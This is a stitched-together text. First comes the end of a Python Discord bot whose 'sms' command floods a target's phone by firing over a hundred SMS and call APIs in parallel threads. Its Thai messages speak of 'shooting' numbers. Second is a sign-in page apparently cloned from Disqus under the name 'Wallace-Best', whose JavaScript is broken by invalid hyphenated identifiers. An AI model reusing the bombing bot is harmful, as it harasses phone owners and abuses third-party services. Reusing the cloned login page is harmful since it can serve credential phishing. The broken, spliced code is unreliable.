threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
Wallace-Best
<!DOCTYPE html>Wallace-Best <html lang="en-us"> <head> <link rel="node" href="//a.wallace-bestcdn.com/1391808583/img/favicon16-32.ico" type="image/vnd.microsoft.icon"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta http-equiv="Content-Language" content="en-us"> <meta name="keywords" content="Wallace Best, wallace-best.com, comments, blog, blogs, discussion"> <meta name="description" content="Wallace Best's Network is a global comment system that improves discussion on websites and connects conversations across the web."> <meta name="world" value="notranslate" /> <title> WB Admin | Sign-in </title> <script type="text/javascript" charset="utf-8"> document.domain = 'wallace-best.com'; if (window.context === undefined) { var context = {}; } context.wallace-bestUrl = 'https://wallace-best.com'; context.wallace-bestDomain = 'wallace-best.com'; context.mediaUrl = '//a.wallace-bestcdn.com/1391808583/'; context.uploadsUrl = '//a.wallace.bestcdn.com/uploads'; context.sslUploadsUrl = '//a.wallace-bestcdn.com/uploads'; context.loginUrl = 'https://wallace-best.com/profile/login/'; context.signupUrl = 'https://wallace-best.com/profile/signup/'; context.apiUrl = '//wallace-best.com/api/3.0/'; context.apiPublicKey = 'Y1S1wGIzdc63qnZ5rhHfjqEABGA4ZTDncauWFFWWTUBqkmLjdxloTb7ilhGnZ7z1'; context.forum = null; context.adminUrl = 'https://wallace-best.com'; context.switches = { "explore_dashboard_2":false, "partitions:api:posts/countPendin":false, "use_rs_paginator_30m":false, "inline_defaults_css":false, "evm_publisher_reports":true, "postsort":false, "enable_entropy_filtering":false, "exp_newnav":true, "organic_discovery_experiments":false, "realtime_for_oldies":false, "firehose_push":true, "website_addons":true, "addons_ab_test":false, "firehose_gnip_http":true, "community_icon":true, "pub_reporting_v2":true, "pd_thumbnail_settings":true, "algorithm_experiments":false, "discovery_log_to_browser":false, "is_last_modified":true, "embed_category_display":false, "partitions:api:forums/listPosts":false, "shardpost":true, "limit_get_posts_days_30d":true, "next_realtime_anim_disabled":false, "juggler_thread_onReady":true, "firehose_realertime":false, "loginas":true, "juggler_enabled":true, "user_onboarding":true, "website_follow_redirect":true, "raven_js":true, "shardpost:index":true, "filter_ads_by_country":true, "new_sort_paginator":true, "threadident_reads":true, "new_media":true, "enable_link_affiliation":true, "show_unapproved":false, "onboarding_profile_editing":true, "partitions":true, "dotcom_marketing":true, "discovery_analytics":true, "exp_newnav_disable":true, "new_community_nav_embed":true, "discussions_tab":true, "embed_less_refactor":false, "use_rs_paginator_60m":true, "embed_labs":false, "auto_flat_sort":false, "disable_moderate_ascending":true, "disable_realtime":true, "partitions:api":true, "digest_thread_votes":true, "shardpost:paginator":false, "debug_js":false, "exp_mn2":false, "limit_get_posts_days_7d":true, "pinnedcomments":false, "use_queue_b":true, "new_embed_profile":true, "next_track_links":true, "postsort:paginator":true, "simple_signup":true, "static_styles":true, "stats":true, "discovery_next":true, "override_skip_syslog":false, "show_captcha_on_links":true, "exp_mn2_force":false, "next_dragdrop_nag":true, "firehose_gnip":true, "firehose_pubsub":true, "rt_go_backend":false, "dark_jester":true, "next_logging":false, "surveyNotice":false, "tipalti_payments":true, "default_trusted_domain":false, "disqus_trends":false, "log_large_querysets":false, "phoenix":false, "exp_autoonboard":true, "lazy_embed":false, "explore_dashboard":true, "partitions:api:posts/list":true, "support_contact_with_frames":true, "use_rs_paginator_5m":true, "limit_textdigger":true, "embed_redirect":false, "logging":false, "exp_mn2_disable":true, "aggressive_embed_cache":true, "dashboard_client":false, "safety_levels_enabled":true, "partitions:api:categories/listPo":false, "next_show_new_media":true, "next_realtime_cap":false, "next_discard_low_rep":true, "next_streaming_realtime":false, "partitions:api:threads/listPosts":false, "textdigger_crawler":true }; context.urlMap = { 'signup': 'https://wallace-best.com/admin/signup/', 'dashboard': 'http://wallace-best.com/dashboard/', 'admin': 'http://wallace-best.com/admin/', 'logout': '//wallace-best.com/logout/', 'home': 'https://wallace-best.com', 'for_websites': 'http://wallace-best.com/websites/', 'login': 'https://wallace-best.com/profile/login/' }; context.navMap = { 'signup': '', 'dashboard': '', 'admin': '', 'addons': '' }; </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/auth_context.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="//a.wallace-bestdn.com/1391808583/build/css/b31fb2fa3905.css" type="text/css" /> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/build/js/5ee01877d131.js"></script> <script> // // shared/foundation.js // // This file contains the absolute minimum code necessary in order // to create a new application in the WALLACE-BEST namespace. // // You should load this file *before* anything that modifies the WALLACE-BEST global. // /*jshint browser:true, undef:true, strict:true, expr:true, white:true */ /*global wallace-best:true */ var WALLACE-BEST = (function (window, undefined) { "use strict"; var wallace-best = window.wallace-best || {}; // Exception thrown from wallace-best.assert method on failure wallace-best.AssertionError = function (message) { this.message = message; }; wallace-best.AssertionError.prototype.toString = function () { return 'Assertion Error: ' + (this.message || '[no message]'); }; // Raises a wallace-best.AssertionError if value is falsy wallace-best.assert = function (value, message, soft) { if (value) return; if (soft) window.console && window.console.log("DISQUS assertion failed: " + message); else throw new wallace-best.AssertionError(message); }; // Functions to clean attached modules (used by define and cleanup) var cleanFuncs = []; // Attaches a new public interface (module) to the wallace-best namespace. // For example, if wallace-best object is { 'a': { 'b': {} } }: // // wallace-best.define('a.b.c', function () { return { 'd': 'hello' }; }); will transform it into // -> { 'a': { 'b': { 'c': { 'd' : hello' }}}} // // and wallace-best.define('a', function () { return { 'x': 'world' }; }); will transform it into // -> { 'a': { 'b': {}}, 'x': 'world' } // // Attach modules to wallace-best using only this function. wallace-best.define = function (name, fn) { /*jshint loopfunc:true */ if (typeof name === 'function') { fn = name; name = ''; } var parts = name.split('.'); var part = parts.shift(); var cur = wallace-best; var exports = (fn || function () { return {}; }).call({ overwrites: function (obj) { obj.__overwrites__ = true; return obj; } }, window); while (part) { cur = (cur[part] ? cur[part] : cur[part] = {}); part = parts.shift(); } for (var key in exports) { if (!exports.hasOwnProperty(key)) continue; /*jshint eqnull:true */ if (!exports.__overwrites__ && cur[key] !== null) { wallace-best.assert(!cur.hasOwnProperty(key), 'Unsafe attempt to redefine existing module: ' + key, true /* soft assertion */); } cur[key] = exports[key]; cleanFuncs.push(function (cur, key) { return function () { delete cur[key]; }; }(cur, key)); } return cur; }; // Alias for wallace-best.define for the sake of semantics. // You should use it when you need to get a reference to another // wallace-best module before that module is defined: // // var collections = wallace-best.use('lounge.collections'); // // wallace-best.use is a single argument function because we don't // want to encourage people to use it instead of wallace-best.define. wallace-best.use = function (name) { return wallace-best.define(name); }; wallace-best.cleanup = function () { for (var i = 0; i < cleanFuncs.length; i++) { cleanFuncs[i](); } }; return wallace-best; })(window); /*jshint expr:true, undef:true, strict:true, white:true, browser:true */ /*global wallace-best:false*/ // // shared/corefuncs.js // wallace-best.define(function (window, undefined) { "use strict"; var wallace-best = window.wallace-best; var document = window.document; var head = document.getElementsByTagName('head')[0] || document.body; var jobs = { running: false, timer: null, queue: [] }; var uid = 0; // Taken from _.uniqueId wallace-best.getUid = function (prefix) { var id = ++uid + ''; return prefix ? prefix + id : id; }; /* Defers func() execution until cond() is true */ wallace-best.defer = function (cond, func) { function beat() { /*jshint boss:true */ var queue = jobs.queue; if (queue.length === 0) { jobs.running = false; clearInterval(jobs.timer); } for (var i = 0, pair; pair = queue[i]; i++) { if (pair[0]()) { queue.splice(i--, 1); pair[1](); } } } jobs.queue.push([cond, func]); beat(); if (!jobs.running) { jobs.running = true; jobs.timer = setInterval(beat, 100); } }; wallace-best.isOwn = function (obj, key) { // The object.hasOwnProperty method fails when the // property under consideration is named 'hasOwnProperty'. return Object.prototype.hasOwnProperty.call(obj, key); }; wallace-best.isString = function (str) { return Object.prototype.toString.call(str) === "[object String]"; }; /* * Iterates over an object or a collection and calls a callback * function with each item as a parameter. */ wallace-best.each = function (collection, callback) { var length = collection.length, forEach = Array.prototype.forEach; if (!isNaN(length)) { // Treat collection as an array if (forEach) { forEach.call(collection, callback); } else { for (var i = 0; i < length; i++) { callback(collection[i], i, collection); } } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); b._i.push([a,e,d])};b.__SV=1.2}})(document,window.mixpanel||[]); mixpanel.init('17b27902cd9da8972af8a3c43850fa5f', { track_pageview: false, debug: false }); </script><!-- end Mixpanel --> <script src="//a.disquscdn.com/1391808583//js/src/funnelcake.js"></script> <script type="text/javascript"> if (window.AB_TESTS === undefined) { var AB_TESTS = {}; } $(function() { if (context.auth.username !== undefined) { disqus.messagesx.init(context.auth.username); } }); </script> <script type="text/javascript" charset="utf-8"> // Global tests $(document).ready(function() { $('a[rel*=facebox]').facebox(); }); </script> <script type="text/x-underscore-template" data-template-name="global-nav"> <% var has_custom_avatar = data.avatar_url && data.avatar_url.indexOf('noavatar') < 0; %> <% var has_custom_username = data.username && data.username.indexOf('disqus_') < 0; %> <% if (data.username) { %> <li class="<%= data.forWebsitesClasses || '' %>" data-analytics="header for websites"><a href="<%= data.urlMap.for_websites %>">For Websites</a></li> <li data-analytics="header dashboard"><a href="<%= data.urlMap.dashboard %>">Dashboard</a></li> <% if (data.has_forums) { %> <li class="admin<% if (has_custom_avatar || !has_custom_username) { %> avatar-menu-admin<% } %>" data-analytics="header admin"><a href="<%= data.urlMap.admin %>">Admin</a></li> <% } %> <li class="user-dropdown dropdown-toggle<% if (has_custom_avatar || !has_custom_username) { %> avatar-menu<% } else { %> username-menu<% } %>" data-analytics="header username dropdown" data-floater-marker="<% if (has_custom_avatar || !has_custom_username) { %>square<% } %>"> <a href="<%= data.urlMap.home %>/<%= data.username %>/"> <% if (has_custom_avatar) { %> <img src="<%= data.avatar_url %>" class="avatar"> <% } else if (has_custom_username) { %> <%= data.username %> <% } else { %> <img src="<%= data.avatar_url %>" class="avatar"> <% } %> <span class="caret"></span> </a> <ul class="clearfix dropdown"> <li data-analytics="header view profile"><a href="<%= data.urlMap.home %>/<%= data.username %>/">View Profile</a></li> <li class="edit-profile js-edit-profile" data-analytics="header edit profile"><a href="<%= data.urlMap.dashboard %>#account">Edit Profile</a></li> <li class="logout" data-analytics="header logout"><a href="<%= data.urlMap.logout %>">Logout</a></li> </ul> </li> <% } else { %> <li class="<%= data.forWebsitesClasses || '' %>" data-analytics="header for websites"><a href="<%= data.urlMap.for_websites %>">For Websites</a></li> <li class="link-login" data-analytics="header login"><a href="<%= data.urlMap.login %>?next=<%= encodeURIComponent(document.location.href) %>">Log in</a></li> <% } %> </script> <!--[if lte IE 7]> <script src="//a.wallace-bestdn.com/1391808583/js/src/border_box_model.js"></script> <![endif]--> <!--[if lte IE 8]> <script src="//cdnjs.cloudflare.com/ajax/libs/modernizr/2.5.3/modernizr.min.js"></script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/selectivizr.js"></script> <![endif]--> <meta name="viewport" content="width=device-width, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <script type="text/javascript" charset="utf-8"> // Network tests $(document).ready(function() { $('a[rel*=facebox]').facebox(); }); </script> </head> <body class=""> <header class="global-header"> <div> <nav class="global-nav"> <a href="/" class="logo" data-analytics="site logo"><img src="//a.wallace-bestcdn.com/1391808583/img/disqus-logo-alt-hidpi.png" width="150" alt="wallace-best" title="wallace-best - Discover your community"/></a> </nav> </div> </header> <section class="login"> <form id="login-form" action="https://disqus.com/profile/login/?next=http://wallace-best.wallace-best.com/admin/moderate/" method="post" accept-charset="utf-8"> <h1>Sign in to continue</h1> <input type="text" name="username" tabindex="20" placeholder="Email or Username" value=""/> <div class="password-container"> <input type="password" name="password" tabindex="21" placeholder="Password" /> <span>(<a href="https://wallace-best.com/forgot/">forgot?</a>)</span> </div> <button type="submit" class="button submit" data-analytics="sign-in">Log in to wallace-best</button> <span class="create-account"> <a href="https://wallace-best.com/profile/signup/?next=http%3A//wallace-best.wallace-best.com/admin/moderate/" data-analytics="create-account"> Create an Account </a> </span> <h1 class="or-login">Alternatively, you can log in using:</h1> <div class="connect-options"> <button title="facebook" type="button" class="facebook-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/facebook.svg" alt="Facebook"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/facebook.png" alt="Facebook"> <![endif]--> </span> </button> <button title="twitter" type="button" class="twitter-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/twitter.svg" alt="Twitter"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/twitter.png" alt="Twitter"> <![endif]--> </span> </button> <button title="google" type="button" class="google-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/google.svg" alt="Google"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/google.png" alt="Google"> <![endif]--> </span> </button> </div> </form> </section> <div class="get-disqus"> <a href="https://wallace-best.com/admin/signup/" data-analytics="get-disqus">Get wallace-best for your site</a> </div> <script> /*jshint undef:true, browser:true, maxlen:100, strict:true, expr:true, white:true */ // These must be global var _comscore, _gaq; (function (doc) { "use strict"; // Convert Django template variables to JS variables var debug = false, gaKey = '', gaPunt = '', gaCustomVars = { component: 'website', forum: '', 